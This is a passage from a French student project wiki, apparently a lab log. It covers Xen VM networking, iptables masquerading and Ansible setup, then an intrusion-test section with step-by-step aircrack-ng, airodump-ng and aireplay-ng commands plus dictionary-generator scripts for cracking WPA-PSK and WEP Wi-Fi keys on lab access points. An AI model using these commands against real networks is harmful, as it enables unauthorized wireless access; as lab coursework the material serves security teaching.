On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private.&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name = {{item}}&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	</feed>